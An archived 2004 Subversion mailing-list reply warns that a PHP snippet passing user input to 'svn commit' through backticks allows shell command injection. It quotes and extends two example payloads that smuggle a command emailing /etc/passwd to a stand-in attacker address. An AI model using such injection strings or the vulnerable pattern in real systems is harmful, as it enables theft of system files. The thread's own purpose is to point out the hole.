[svn.haxx.se] · SVN Dev · SVN Users · SVN Org · TSVN Dev · TSVN Users · Subclipse Dev · Subclipse Users · this month's index

Re: PHP hack under way

From: Florian Weimer <fw_at_deneb.enyo.de>
Date: 2004-02-14 12:10:08 CET

Brian W. Fitzpatrick wrote:

> > $response = `svn commit -m \"$message\"`;

> I don't know offhand, but I suspect that you may be opening up a
> security hole the size of Texas by doing this. What if message is
> actually equal to
> "foo\" ; mail evilhaxor@example.com < /etc/passwd"
> or something worse.

With magic_quotes_gpc, this doesn't work, but

  $(mail evilhaxor@example.com < /etc/passwd)

probably does...

You could use escapeshellarg() and similar functions to preprocess the
argument, but I don't understand the C source code and still have an
uneasy feeling about them.

To unsubscribe, e-mail: users-unsubscribe@subversion.tigris.org
For additional commands, e-mail: users-help@subversion.tigris.org
Received on Sat Feb 14 12:10:38 2004

This is an archived mail posted to the Subversion Users mailing list.

This site is subject to the Apache Privacy Policy and the Apache Public Forum Archive Policy.